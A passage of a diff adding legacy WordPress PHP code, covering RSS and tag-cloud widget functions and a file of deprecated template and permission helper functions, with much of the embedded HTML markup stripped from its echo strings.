    • ' . __( 'An error has occurred; the feed is probably down. Try again later.' ) . '
    '; + $rss->__destruct(); + unset($rss); + return; + } + + echo '
      '; + foreach ( $rss->get_items(0, $items) as $item ) { + $link = $item->get_link(); + while ( stristr($link, 'http') != $link ) + $link = substr($link, 1); + $link = esc_url(strip_tags($link)); + $title = esc_attr(strip_tags($item->get_title())); + if ( empty($title) ) + $title = __('Untitled'); + + $desc = str_replace(array("\n", "\r"), ' ', esc_attr(strip_tags(@html_entity_decode($item->get_description(), ENT_QUOTES, get_option('blog_charset'))))); + $desc = wp_html_excerpt( $desc, 360 ) . ' […]'; + $desc = esc_html( $desc ); + + if ( $show_summary ) { + $summary = "
      $desc
      "; + } else { + $summary = ''; + } + + $date = ''; + if ( $show_date ) { + $date = $item->get_date(); + + if ( $date ) { + if ( $date_stamp = strtotime( $date ) ) + $date = ' ' . date_i18n( get_option( 'date_format' ), $date_stamp ) . ''; + else + $date = ''; + } + } + + $author = ''; + if ( $show_author ) { + $author = $item->get_author(); + if ( is_object($author) ) { + $author = $author->get_name(); + $author = ' ' . esc_html( strip_tags( $author ) ) . ''; + } + } + + if ( $link == '' ) { + echo "
    • $title{$date}{$summary}{$author}
    • "; + } else { + echo "
    • $title{$date}{$summary}{$author}
    • "; + } + } + echo '
    '; + $rss->__destruct(); + unset($rss); +} + + + +/** + * Display RSS widget options form. + * + * The options for what fields are displayed for the RSS form are all booleans + * and are as follows: 'url', 'title', 'items', 'show_summary', 'show_author', + * 'show_date'. + * + * @since 2.5.0 + * + * @param array|string $args Values for input fields. + * @param array $inputs Override default display options. + */ +function wp_widget_rss_form( $args, $inputs = null ) { + + $default_inputs = array( 'url' => true, 'title' => true, 'items' => true, 'show_summary' => true, 'show_author' => true, 'show_date' => true ); + $inputs = wp_parse_args( $inputs, $default_inputs ); + extract( $args ); + extract( $inputs, EXTR_SKIP); + + $number = esc_attr( $number ); + $title = esc_attr( $title ); + $url = esc_url( $url ); + $items = (int) $items; + if ( $items < 1 || 20 < $items ) + $items = 10; + $show_summary = (int) $show_summary; + $show_author = (int) $show_author; + $show_date = (int) $show_date; + + if ( !empty($error) ) + echo '

    ' . sprintf( __('RSS Error: %s'), $error) . '

    '; + + if ( $inputs['url'] ) : +?> +

    +

    + +

    +

    + +

    +

    + +

    /> +

    + +

    /> +

    + +

    /> +

    + + +get_error_message(); + } else { + $link = esc_url(strip_tags($rss->get_permalink())); + while ( stristr($link, 'http') != $link ) + $link = substr($link, 1); + + $rss->__destruct(); + unset($rss); + } + } + + return compact( 'title', 'url', 'link', 'items', 'error', 'show_summary', 'show_author', 'show_date' ); +} + +/** + * Tag cloud widget class + * + * @since 2.8.0 + */ +class WP_Widget_Tag_Cloud extends WP_Widget { + + function WP_Widget_Tag_Cloud() { + $widget_ops = array( 'description' => __( "Your most used tags in cloud format") ); + $this->WP_Widget('tag_cloud', __('Tag Cloud'), $widget_ops); + } + + function widget( $args, $instance ) { + extract($args); + $title = apply_filters('widget_title', empty($instance['title']) ? __('Tags') : $instance['title']); + + echo $before_widget; + if ( $title ) + echo $before_title . $title . $after_title; + echo '
    '; + wp_tag_cloud(apply_filters('widget_tag_cloud_args', array())); + echo "
    \n"; + echo $after_widget; + } + + function update( $new_instance, $old_instance ) { + $instance['title'] = strip_tags(stripslashes($new_instance['title'])); + return $instance; + } + + function form( $instance ) { +?> +

    +

    +posts + */ +$tableposts = $wpdb->posts; + +/** + * The name of the Users table + * @global string $tableusers + * @deprecated Use $wpdb->users + */ +$tableusers = $wpdb->users; + +/** + * The name of the Categories table + * @global string $tablecategories + * @deprecated Use $wpdb->categories + */ +$tablecategories = $wpdb->categories; + +/** + * The name of the post to category table + * @global string $tablepost2cat + * @deprecated Use $wpdb->post2cat; + */ +$tablepost2cat = $wpdb->post2cat; + +/** + * The name of the comments table + * @global string $tablecomments + * @deprecated Use $wpdb->comments; + */ +$tablecomments = $wpdb->comments; + +/** + * The name of the links table + * @global string $tablelinks + * @deprecated Use $wpdb->links; + */ +$tablelinks = $wpdb->links; + +/** + * @global string $tablelinkcategories + * @deprecated Not used anymore; + */ +$tablelinkcategories = 'linkcategories_is_gone'; + +/** + * The name of the options table + * @global string $tableoptions + * @deprecated Use $wpdb->options; + */ +$tableoptions = $wpdb->options; + +/** + * The name of the postmeta table + * @global string $tablepostmeta + * @deprecated Use $wpdb->postmeta; + */ +$tablepostmeta = $wpdb->postmeta; + +/* + * Deprecated functions come here to die. + */ + +/** + * Entire Post data. + * + * @since 0.71 + * @deprecated Use get_post() + * @see get_post() + * + * @param int $postid + * @return array + */ +function get_postdata($postid) { + _deprecated_function(__FUNCTION__, '0.0', 'get_post()'); + + $post = &get_post($postid); + + $postdata = array ( + 'ID' => $post->ID, + 'Author_ID' => $post->post_author, + 'Date' => $post->post_date, + 'Content' => $post->post_content, + 'Excerpt' => $post->post_excerpt, + 'Title' => $post->post_title, + 'Category' => $post->post_category, + 'post_status' => $post->post_status, + 'comment_status' => $post->comment_status, + 'ping_status' => $post->ping_status, + 'post_password' => $post->post_password, + 'to_ping' => $post->to_ping, + 'pinged' => $post->pinged, + 'post_type' => $post->post_type, + 'post_name' => $post->post_name + ); + + return $postdata; +} + +/** + * Sets up the WordPress Loop. + * + * @since 1.0.1 + * @deprecated Since 1.5 - {@link http://codex.wordpress.org/The_Loop Use new WordPress Loop} + */ +function start_wp() { + global $wp_query, $post; + + _deprecated_function(__FUNCTION__, '1.5', __('new WordPress Loop') ); + + // Since the old style loop is being used, advance the query iterator here. + $wp_query->next_post(); + + setup_postdata($post); +} + +/** + * Return or Print Category ID. + * + * @since 0.71 + * @deprecated use get_the_category() + * @see get_the_category() + * + * @param bool $echo + * @return null|int + */ +function the_category_ID($echo = true) { + _deprecated_function(__FUNCTION__, '0.0', 'get_the_category()'); + + // Grab the first cat in the list. + $categories = get_the_category(); + $cat = $categories[0]->term_id; + + if ( $echo ) + echo $cat; + + return $cat; +} + +/** + * Print category with optional text before and after. + * + * @since 0.71 + * @deprecated use get_the_category_by_ID() + * @see get_the_category_by_ID() + * + * @param string $before + * @param string $after + */ +function the_category_head($before='', $after='') { + global $currentcat, $previouscat; + + _deprecated_function(__FUNCTION__, '0.0', 'get_the_category_by_ID()'); + + // Grab the first cat in the list. + $categories = get_the_category(); + $currentcat = $categories[0]->category_id; + if ( $currentcat != $previouscat ) { + echo $before; + echo get_the_category_by_ID($currentcat); + echo $after; + $previouscat = $currentcat; + } +} + +/** + * Prints link to the previous post. + * + * @since 1.5 + * @deprecated Use previous_post_link() + * @see previous_post_link() + * + * @param string $format + * @param string $previous + * @param string $title + * @param string $in_same_cat + * @param int $limitprev + * @param string $excluded_categories + */ +function previous_post($format='%', $previous='previous post: ', $title='yes', $in_same_cat='no', $limitprev=1, $excluded_categories='') { + + _deprecated_function(__FUNCTION__, '0.0', 'previous_post_link()'); + + if ( empty($in_same_cat) || 'no' == $in_same_cat ) + $in_same_cat = false; + else + $in_same_cat = true; + + $post = get_previous_post($in_same_cat, $excluded_categories); + + if ( !$post ) + return; + + $string = ''.$previous; + if ( 'yes' == $title ) + $string .= apply_filters('the_title', $post->post_title, $post); + $string .= ''; + $format = str_replace('%', $string, $format); + echo $format; +} + +/** + * Prints link to the next post. + * + * @since 0.71 + * @deprecated Use next_post_link() + * @see next_post_link() + * + * @param string $format + * @param string $previous + * @param string $title + * @param string $in_same_cat + * @param int $limitprev + * @param string $excluded_categories + */ +function next_post($format='%', $next='next post: ', $title='yes', $in_same_cat='no', $limitnext=1, $excluded_categories='') { + _deprecated_function(__FUNCTION__, '0.0', 'next_post_link()'); + + if ( empty($in_same_cat) || 'no' == $in_same_cat ) + $in_same_cat = false; + else + $in_same_cat = true; + + $post = get_next_post($in_same_cat, $excluded_categories); + + if ( !$post ) + return; + + $string = ''.$next; + if ( 'yes' == $title ) + $string .= apply_filters('the_title', $post->post_title, $nextpost); + $string .= ''; + $format = str_replace('%', $string, $format); + echo $format; +} + +/** + * Whether user can create a post. + * + * @since 1.5 + * @deprecated Use current_user_can() + * @see current_user_can() + * + * @param int $user_id + * @param int $blog_id Not Used + * @param int $category_id Not Used + * @return bool + */ +function user_can_create_post($user_id, $blog_id = 1, $category_id = 'None') { + _deprecated_function(__FUNCTION__, '0.0', 'current_user_can()'); + + $author_data = get_userdata($user_id); + return ($author_data->user_level > 1); +} + +/** + * Whether user can create a post. + * + * @since 1.5 + * @deprecated Use current_user_can() + * @see current_user_can() + * + * @param int $user_id + * @param int $blog_id Not Used + * @param int $category_id Not Used + * @return bool + */ +function user_can_create_draft($user_id, $blog_id = 1, $category_id = 'None') { + _deprecated_function(__FUNCTION__, '0.0', 'current_user_can()'); + + $author_data = get_userdata($user_id); + return ($author_data->user_level >= 1); +} + +/** + * Whether user can edit a post. + * + * @since 1.5 + * @deprecated Use current_user_can() + * @see current_user_can() + * + * @param int $user_id + * @param int $post_id + * @param int $blog_id Not Used + * @return bool + */ +function user_can_edit_post($user_id, $post_id, $blog_id = 1) { + _deprecated_function(__FUNCTION__, '0', 'current_user_can()'); + + $author_data = get_userdata($user_id); + $post = get_post($post_id); + $post_author_data = get_userdata($post->post_author); + + if ( (($user_id == $post_author_data->ID) && !($post->post_status == 'publish' && $author_data->user_level < 2)) + || ($author_data->user_level > $post_author_data->user_level) + || ($author_data->user_level >= 10) ) { + return true; + } else { + return false; + } +} + +/** + * Whether user can delete a post. + * + * @since 1.5 + * @deprecated Use current_user_can() + * @see current_user_can() + * + * @param int $user_id + * @param int $post_id + * @param int $blog_id Not Used + * @return bool + */ +function user_can_delete_post($user_id, $post_id, $blog_id = 1) { + _deprecated_function(__FUNCTION__, '0.0', 'current_user_can()'); + + // right now if one can edit, one can delete + return user_can_edit_post($user_id, $post_id, $blog_id); +} + +/** + * Whether user can set new posts' dates. + * + * @since 1.5 + * @deprecated Use current_user_can() + * @see current_user_can() + * + * @param int $user_id + * @param int $blog_id Not Used + * @param int $category_id Not Used + * @return bool + */ +function user_can_set_post_date($user_id, $blog_id = 1, $category_id = 'None') { + _deprecated_function(__FUNCTION__, '0.0', 'current_user_can()'); + + $author_data = get_userdata($user_id); + return (($author_data->user_level > 4) && user_can_create_post($user_id, $blog_id, $category_id)); +} + +/** + * Whether user can delete a post. + * + * @since 1.5 + * @deprecated Use current_user_can() + * @see current_user_can() + * + * @param int $user_id + * @param int $post_id + * @param int $blog_id Not Used + * @return bool returns true if $user_id can edit $post_id's date + */ +function user_can_edit_post_date($user_id, $post_id, $blog_id = 1) { + _deprecated_function(__FUNCTION__, '0.0', 'current_user_can()'); + + $author_data = get_userdata($user_id); + return (($author_data->user_level > 4) && user_can_edit_post($user_id, $post_id, $blog_id)); +} + +/** + * Whether user can delete a post. + * + * @since 1.5 + * @deprecated Use current_user_can() + * @see current_user_can() + * + * @param int $user_id + * @param int $post_id + * @param int $blog_id Not Used + * @return bool returns true if $user_id can edit $post_id's comments + */ +function user_can_edit_post_comments($user_id, $post_id, $blog_id = 1) { + _deprecated_function(__FUNCTION__, '0.0', 'current_user_can()'); + + // right now if one can edit a post, one can edit comments made on it + return user_can_edit_post($user_id, $post_id, $blog_id); +} + +/** + * Whether user can delete a post. + * + * @since 1.5 + * @deprecated Use current_user_can() + * @see current_user_can() + * + * @param int $user_id + * @param int $post_id + * @param int $blog_id Not Used + * @return bool returns true if $user_id can delete $post_id's comments + */ +function user_can_delete_post_comments($user_id, $post_id, $blog_id = 1) { + _deprecated_function(__FUNCTION__, '0.0', 'current_user_can()'); + + // right now if one can edit comments, one can delete comments + return user_can_edit_post_comments($user_id, $post_id, $blog_id); +} + +/** + * Can user can edit other user. + * + * @since 1.5 + * @deprecated Use current_user_can() + * @see current_user_can() + * + * @param int $user_id + * @param int $other_user + * @return bool + */ +function user_can_edit_user($user_id, $other_user) { + _deprecated_function(__FUNCTION__, '0.0', 'current_user_can()'); + + $user = get_userdata($user_id); + $other = get_userdata($other_user); + if ( $user->user_level > $other->user_level || $user->user_level > 8 || $user->ID == $other->ID ) + return true; + else + return false; +} + +/** + * Gets the links associated with category $cat_name. + * + * @since 0.71 + * @deprecated Use get_links() + * @see get_links() + * + * @param string $cat_name Optional. The category name to use. If no match is found uses all. + * @param string $before Optional. The html to output before the link. + * @param string $after Optional. The html to output after the link. + * @param string $between Optional. The html to output between the link/image and it's description. Not used if no image or $show_images is true. + * @param bool $show_images Optional. Whether to show images (if defined). + * @param string $orderby Optional. The order to output the links. E.g. 'id', 'name', 'url', 'description' or 'rating'. Or maybe owner. + * If you start the name with an underscore the order will be reversed. You can also specify 'rand' as the order which will return links in a + * random order. + * @param bool $show_description Optional. Whether to show the description if show_images=false/not defined. + * @param bool $show_rating Optional. Show rating stars/chars. + * @param int $limit Optional. Limit to X entries. If not specified, all entries are shown. + * @param int $show_updated Optional. Whether to show last updated timestamp + */ +function get_linksbyname($cat_name = "noname", $before = '', $after = '
    ', $between = " ", $show_images = true, $orderby = 'id', + $show_description = true, $show_rating = false, + $limit = -1, $show_updated = 0) { + _deprecated_function(__FUNCTION__, '0.0', 'get_links()'); + + $cat_id = -1; + $cat = get_term_by('name', $cat_name, 'link_category'); + if ( $cat ) + $cat_id = $cat->term_id; + + get_links($cat_id, $before, $after, $between, $show_images, $orderby, $show_description, $show_rating, $limit, $show_updated); +} + +/** + * Gets the links associated with the named category. + * + * @since 1.0.1 + * @deprecated Use wp_get_links() + * @see wp_get_links() + * + * @param string $category The category to use. + * @param string $args + * @return bool|null + */ +function wp_get_linksbyname($category, $args = '') { + _deprecated_function(__FUNCTION__, '0.0', 'wp_get_links()'); + + $cat = get_term_by('name', $category, 'link_category'); + if ( !$cat ) + return false; + $cat_id = $cat->term_id; + + $args = add_query_arg('category', $cat_id, $args); + wp_get_links($args); +} + +/** + * Gets an array of link objects associated with category $cat_name. + * + * + * $links = get_linkobjectsbyname('fred'); + * foreach ($links as $link) { + * echo '
  • '.$link->link_name.'
  • '; + * } + *
    + * + * @since 1.0.1 + * @deprecated Use get_linkobjects() + * @see get_linkobjects() + * + * @param string $cat_name The category name to use. If no match is found uses all. + * @param string $orderby The order to output the links. E.g. 'id', 'name', 'url', 'description', or 'rating'. + * Or maybe owner. If you start the name with an underscore the order will be reversed. You can also + * specify 'rand' as the order which will return links in a random order. + * @param int $limit Limit to X entries. If not specified, all entries are shown. + * @return unknown + */ +function get_linkobjectsbyname($cat_name = "noname" , $orderby = 'name', $limit = -1) { + _deprecated_function(__FUNCTION__, '0.0', 'get_linkobjects()'); + + $cat_id = -1; + $cat = get_term_by('name', $cat_name, 'link_category'); + if ( $cat ) + $cat_id = $cat->term_id; + + return get_linkobjects($cat_id, $orderby, $limit); +} + +/** + * Gets an array of link objects associated with category n. + * + * Usage: + * + * $links = get_linkobjects(1); + * if ($links) { + * foreach ($links as $link) { + * echo '
  • '.$link->link_name.'
    '.$link->link_description.'
  • '; + * } + * } + *
    + * + * Fields are: + *
      + *
    1. link_id
    2. + *
    3. link_url
    4. + *
    5. link_name
    6. + *
    7. link_image
    8. + *
    9. link_target
    10. + *
    11. link_category
    12. + *
    13. link_description
    14. + *
    15. link_visible
    16. + *
    17. link_owner
    18. + *
    19. link_rating
    20. + *
    21. link_updated
    22. + *
    23. link_rel
    24. + *
    25. link_notes
    26. + *
    + * + * @since 1.0.1 + * @deprecated Use get_bookmarks() + * @see get_bookmarks() + * + * @param int $category The category to use. If no category supplied uses all + * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url', + * 'description', or 'rating'. Or maybe owner. If you start the name with an + * underscore the order will be reversed. You can also specify 'rand' as the + * order which will return links in a random order. + * @param int $limit Limit to X entries. If not specified, all entries are shown. + * @return unknown + */ +function get_linkobjects($category = 0, $orderby = 'name', $limit = 0) { + _deprecated_function(__FUNCTION__, '0.0', 'get_bookmarks()'); + + $links = get_bookmarks("category=$category&orderby=$orderby&limit=$limit"); + + $links_array = array(); + foreach ($links as $link) + $links_array[] = $link; + + return $links_array; +} + +/** + * Gets the links associated with category 'cat_name' and display rating stars/chars. + * + * @since 0.71 + * @deprecated Use get_bookmarks() + * @see get_bookmarks() + * + * @param string $cat_name The category name to use. If no match is found uses all + * @param string $before The html to output before the link + * @param string $after The html to output after the link + * @param string $between The html to output between the link/image and it's description. Not used if no image or show_images is true + * @param bool $show_images Whether to show images (if defined). + * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url', + * 'description', or 'rating'. Or maybe owner. If you start the name with an + * underscore the order will be reversed. You can also specify 'rand' as the + * order which will return links in a random order. + * @param bool $show_description Whether to show the description if show_images=false/not defined + * @param int $limit Limit to X entries. If not specified, all entries are shown. + * @param int $show_updated Whether to show last updated timestamp + */ +function get_linksbyname_withrating($cat_name = "noname", $before = '', $after = '
    ', $between = " ", + $show_images = true, $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) { + _deprecated_function(__FUNCTION__, '0.0', 'get_bookmarks()'); + + get_linksbyname($cat_name, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated); +} + +/** + * Gets the links associated with category n and display rating stars/chars. + * + * @since 0.71 + * @deprecated Use get_bookmarks() + * @see get_bookmarks() + * + * @param int $category The category to use. If no category supplied uses all + * @param string $before The html to output before the link + * @param string $after The html to output after the link + * @param string $between The html to output between the link/image and it's description. Not used if no image or show_images == true + * @param bool $show_images Whether to show images (if defined). + * @param string $orderby The order to output the links. E.g. 'id', 'name', 'url', + * 'description', or 'rating'. Or maybe owner. If you start the name with an + * underscore the order will be reversed. You can also specify 'rand' as the + * order which will return links in a random order. + * @param bool $show_description Whether to show the description if show_images=false/not defined. + * @param string $limit Limit to X entries. If not specified, all entries are shown. + * @param int $show_updated Whether to show last updated timestamp + */ +function get_links_withrating($category = -1, $before = '', $after = '
    ', $between = " ", $show_images = true, + $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) { + _deprecated_function(__FUNCTION__, '0.0', 'get_bookmarks()'); + + get_links($category, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated); +} + +/** + * Gets the auto_toggle setting. + * + * @since 0.71 + * @deprecated No alternative function available + * + * @param int $id The category to get. If no category supplied uses 0 + * @return int Only returns 0. + */ +function get_autotoggle($id = 0) { + _deprecated_function(__FUNCTION__, '0.0' ); + return 0; +} + +/** + * @since 0.71 + * @deprecated Use wp_list_categories() + * @see wp_list_categories() + * + * @param int $optionall + * @param string $all + * @param string $sort_column + * @param string $sort_order + * @param string $file + * @param bool $list + * @param int $optiondates + * @param int $optioncount + * @param int $hide_empty + * @param int $use_desc_for_title + * @param bool $children + * @param int $child_of + * @param int $categories + * @param int $recurse + * @param string $feed + * @param string $feed_image + * @param string $exclude + * @param bool $hierarchical + * @return unknown + */ +function list_cats($optionall = 1, $all = 'All', $sort_column = 'ID', $sort_order = 'asc', $file = '', $list = true, $optiondates = 0, + $optioncount = 0, $hide_empty = 1, $use_desc_for_title = 1, $children=false, $child_of=0, $categories=0, + $recurse=0, $feed = '', $feed_image = '', $exclude = '', $hierarchical=false) { + _deprecated_function(__FUNCTION__, '0.0', 'wp_list_categories()'); + + $query = compact('optionall', 'all', 'sort_column', 'sort_order', 'file', 'list', 'optiondates', 'optioncount', 'hide_empty', 'use_desc_for_title', 'children', + 'child_of', 'categories', 'recurse', 'feed', 'feed_image', 'exclude', 'hierarchical'); + return wp_list_cats($query); +} + +/** + * @since 1.2 + * @deprecated Use wp_list_categories() + * @see wp_list_categories() + * + * @param string|array $args + * @return unknown + */ +function wp_list_cats($args = '') { + _deprecated_function(__FUNCTION__, '0.0', 'wp_list_categories()'); + + $r = wp_parse_args( $args ); + + // Map to new names. + if ( isset($r['optionall']) && isset($r['all'])) + $r['show_option_all'] = $r['all']; + if ( isset($r['sort_column']) ) + $r['orderby'] = $r['sort_column']; + if ( isset($r['sort_order']) ) + $r['order'] = $r['sort_order']; + if ( isset($r['optiondates']) ) + $r['show_last_update'] = $r['optiondates']; + if ( isset($r['optioncount']) ) + $r['show_count'] = $r['optioncount']; + if ( isset($r['list']) ) + $r['style'] = $r['list'] ? 'list' : 'break'; + $r['title_li'] = ''; + + return wp_list_categories($r); +} + +/** + * @since 0.71 + * @deprecated Use wp_dropdown_categories() + * @see wp_dropdown_categories() + * + * @param int $optionall + * @param string $all + * @param string $orderby + * @param string $order + * @param int $show_last_update + * @param int $show_count + * @param int $hide_empty + * @param bool $optionnone + * @param int $selected + * @param int $exclude + * @return unknown + */ +function dropdown_cats($optionall = 1, $all = 'All', $orderby = 'ID', $order = 'asc', + $show_last_update = 0, $show_count = 0, $hide_empty = 1, $optionnone = false, + $selected = 0, $exclude = 0) { + _deprecated_function(__FUNCTION__, '0.0', 'wp_dropdown_categories()'); + + $show_option_all = ''; + if ( $optionall ) + $show_option_all = $all; + + $show_option_none = ''; + if ( $optionnone ) + $show_option_none = __('None'); + + $vars = compact('show_option_all', 'show_option_none', 'orderby', 'order', + 'show_last_update', 'show_count', 'hide_empty', 'selected', 'exclude'); + $query = add_query_arg($vars, ''); + return wp_dropdown_categories($query); +} + +/** + * @since 2.1 + * @deprecated Use wp_tiny_mce(). + * @see wp_tiny_mce() + */ +function tinymce_include() { + _deprecated_function(__FUNCTION__, '0.0', 'wp_tiny_mce()'); + + wp_tiny_mce(); +} + +/** + * @since 1.2 + * @deprecated Use wp_list_authors() + * @see wp_list_authors() + * + * @param bool $optioncount + * @param bool $exclude_admin + * @param bool $show_fullname + * @param bool $hide_empty + * @param string $feed + * @param string $feed_image + * @return unknown + */ +function list_authors($optioncount = false, $exclude_admin = true, $show_fullname = false, $hide_empty = true, $feed = '', $feed_image = '') { + _deprecated_function(__FUNCTION__, '0.0', 'wp_list_authors()'); + + $args = compact('optioncount', 'exclude_admin', 'show_fullname', 'hide_empty', 'feed', 'feed_image'); + return wp_list_authors($args); +} + +/** + * @since 1.0.1 + * @deprecated Use wp_get_post_categories() + * @see wp_get_post_categories() + * + * @param int $blogid Not Used + * @param int $post_ID + * @return unknown + */ +function wp_get_post_cats($blogid = '1', $post_ID = 0) { + _deprecated_function(__FUNCTION__, '0.0', 'wp_get_post_categories()'); + return wp_get_post_categories($post_ID); +} + +/** + * Sets the categories that the post id belongs to. + * + * @since 1.0.1 + * @deprecated Use wp_set_post_categories() + * @see wp_set_post_categories() + * + * @param int $blogid Not used + * @param int $post_ID + * @param array $post_categories + * @return unknown + */ +function wp_set_post_cats($blogid = '1', $post_ID = 0, $post_categories = array()) { + _deprecated_function(__FUNCTION__, '0.0', 'wp_set_post_categories()'); + return wp_set_post_categories($post_ID, $post_categories); +} + +/** + * @since 0.71 + * @deprecated Use wp_get_archives() + * @see wp_get_archives() + * + * @param string $type + * @param string $limit + * @param string $format + * @param string $before + * @param string $after + * @param bool $show_post_count + * @return unknown + */ +function get_archives($type='', $limit='', $format='html', $before = '', $after = '', $show_post_count = false) { + _deprecated_function(__FUNCTION__, '0.0', 'wp_get_archives()'); + $args = compact('type', 'limit', 'format', 'before', 'after', 'show_post_count'); + return wp_get_archives($args); +} + +/** + * Returns or Prints link to the author's posts. + * + * @since 1.2 + * @deprecated Use get_author_posts_url() + * @see get_author_posts_url() + * + * @param bool $echo Optional. + * @param int $author_id Required. + * @param string $author_nicename Optional. + * @return string|null + */ +function get_author_link($echo = false, $author_id, $author_nicename = '') { + _deprecated_function(__FUNCTION__, '0.0', 'get_author_posts_url()'); + + $link = get_author_posts_url($author_id, $author_nicename); + + if ( $echo ) + echo $link; + return $link; +} + +/** + * Print list of pages based on arguments. + * + * @since 0.71 + * @deprecated Use wp_link_pages() + * @see wp_link_pages() + * + * @param string $before + * @param string $after + * @param string $next_or_number + * @param string $nextpagelink + * @param string $previouspagelink + * @param string $pagelink + * @param string $more_file + * @return string + */ +function link_pages($before='
    ', $after='
    ', $next_or_number='number', $nextpagelink='next page', $previouspagelink='previous page', + $pagelink='%', $more_file='') { + _deprecated_function(__FUNCTION__, '0.0', 'wp_link_pages()'); + + $args = compact('before', 'after', 'next_or_number', 'nextpagelink', 'previouspagelink', 'pagelink', 'more_file'); + return wp_link_pages($args); +} + +/** + * Get value based on option. + * + * @since 0.71 + * @deprecated Use get_option() + * @see get_option() + * + * @param string $option + * @return string + */ +function get_settings($option) { + _deprecated_function(__FUNCTION__, '0.0', 'get_option()'); + + return get_option($option); +} + +/** + * Print the permalink of the current post in the loop. + * + * @since 0.71 + * @deprecated Use the_permalink() + * @see the_permalink() + */ +function permalink_link() { + _deprecated_function(__FUNCTION__, '0.0', 'the_permalink()'); + the_permalink(); +} + +/** + * Print the permalink to the RSS feed. + * + * @since 0.71 + * @deprecated Use the_permalink_rss() + * @see the_permalink_rss() + * + * @param string $file + */ +function permalink_single_rss($deprecated = '') { + _deprecated_function(__FUNCTION__, '0.0', 'the_permalink_rss()'); + the_permalink_rss(); +} + +/** + * Gets the links associated with category. + * + * @see get_links() for argument information that can be used in $args + * @since 1.0.1 + * @deprecated Use get_bookmarks() + * @see get_bookmarks() + * + * @param string $args a query string + * @return null|string + */ +function wp_get_links($args = '') { + _deprecated_function(__FUNCTION__, '0.0', 'get_bookmarks()'); + + if ( strpos( $args, '=' ) === false ) { + $cat_id = $args; + $args = add_query_arg( 'category', $cat_id, $args ); + } + + $defaults = array( + 'category' => -1, 'before' => '', + 'after' => '
    ', 'between' => ' ', + 'show_images' => true, 'orderby' => 'name', + 'show_description' => true, 'show_rating' => false, + 'limit' => -1, 'show_updated' => true, + 'echo' => true + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + + return get_links($category, $before, $after, $between, $show_images, $orderby, $show_description, $show_rating, $limit, $show_updated, $echo); +} + +/** + * Gets the links associated with category by id. + * + * @since 0.71 + * @deprecated Use get_bookmarks() + * @see get_bookmarks() + * + * @param int $category The category to use. If no category supplied uses all + * @param string $before the html to output before the link + * @param string $after the html to output after the link + * @param string $between the html to output between the link/image and its description. + * Not used if no image or show_images == true + * @param bool $show_images whether to show images (if defined). + * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url', + * 'description', or 'rating'. Or maybe owner. If you start the name with an + * underscore the order will be reversed. You can also specify 'rand' as the order + * which will return links in a random order. + * @param bool $show_description whether to show the description if show_images=false/not defined. + * @param bool $show_rating show rating stars/chars + * @param int $limit Limit to X entries. If not specified, all entries are shown. + * @param int $show_updated whether to show last updated timestamp + * @param bool $echo whether to echo the results, or return them instead + * @return null|string + */ +function get_links($category = -1, $before = '', $after = '
    ', $between = ' ', $show_images = true, $orderby = 'name', + $show_description = true, $show_rating = false, $limit = -1, $show_updated = 1, $echo = true) { + _deprecated_function(__FUNCTION__, '0.0', 'get_bookmarks()'); + + $order = 'ASC'; + if ( substr($orderby, 0, 1) == '_' ) { + $order = 'DESC'; + $orderby = substr($orderby, 1); + } + + if ( $category == -1 ) //get_bookmarks uses '' to signify all categories + $category = ''; + + $results = get_bookmarks("category=$category&orderby=$orderby&order=$order&show_updated=$show_updated&limit=$limit"); + + if ( !$results ) + return; + + $output = ''; + + foreach ( (array) $results as $row ) { + if ( !isset($row->recently_updated) ) + $row->recently_updated = false; + $output .= $before; + if ( $show_updated && $row->recently_updated ) + $output .= get_option('links_recently_updated_prepend'); + $the_link = '#'; + if ( !empty($row->link_url) ) + $the_link = esc_url($row->link_url); + $rel = $row->link_rel; + if ( '' != $rel ) + $rel = ' rel="' . $rel . '"'; + + $desc = esc_attr(sanitize_bookmark_field('link_description', $row->link_description, $row->link_id, 'display')); + $name = esc_attr(sanitize_bookmark_field('link_name', $row->link_name, $row->link_id, 'display')); + $title = $desc; + + if ( $show_updated ) + if (substr($row->link_updated_f, 0, 2) != '00') + $title .= ' ('.__('Last updated') . ' ' . date(get_option('links_updated_date_format'), $row->link_updated_f + (get_option('gmt_offset') * 3600)) . ')'; + + if ( '' != $title ) + $title = ' title="' . $title . '"'; + + $alt = ' alt="' . $name . '"'; + + $target = $row->link_target; + if ( '' != $target ) + $target = ' target="' . $target . '"'; + + $output .= ''; + + if ( $row->link_image != null && $show_images ) { + if ( strpos($row->link_image, 'http') !== false ) + $output .= "link_image\" $alt $title />"; + else // If it's a relative path + $output .= "link_image\" $alt $title />"; + } else { + $output .= $name; + } + + $output .= ''; + + if ( $show_updated && $row->recently_updated ) + $output .= get_option('links_recently_updated_append'); + + if ( $show_description && '' != $desc ) + $output .= $between . $desc; + + if ($show_rating) { + $output .= $between . get_linkrating($row); + } + + $output .= "$after\n"; + } // end while + + if ( !$echo ) + return $output; + echo $output; +} + +/** + * Output entire list of links by category. + * + * Output a list of all links, listed by category, using the settings in + * $wpdb->linkcategories and output it as a nested HTML unordered list. + * + * @author Dougal + * @since 1.0.1 + * @deprecated Use wp_list_bookmarks() + * @see wp_list_bookmarks() + * + * @param string $order Sort link categories by 'name' or 'id' + * @param string $$deprecated Not Used + */ +function get_links_list($order = 'name', $deprecated = '') { + _deprecated_function(__FUNCTION__, '0.0', 'wp_list_bookmarks()'); + + $order = strtolower($order); + + // Handle link category sorting + $direction = 'ASC'; + if ( '_' == substr($order,0,1) ) { + $direction = 'DESC'; + $order = substr($order,1); + } + + if ( !isset($direction) ) + $direction = ''; + + $cats = get_categories("type=link&orderby=$order&order=$direction&hierarchical=0"); + + // Display each category + if ( $cats ) { + foreach ( (array) $cats as $cat ) { + // Handle each category. + + // Display the category name + echo '
  • ' . apply_filters('link_category', $cat->name ) . "

    \n\t
      \n"; + // Call get_links() with all the appropriate params + get_links($cat->term_id, '
    • ', "
    • ", "\n", true, 'name', false); + + // Close the last category + echo "\n\t
    \n
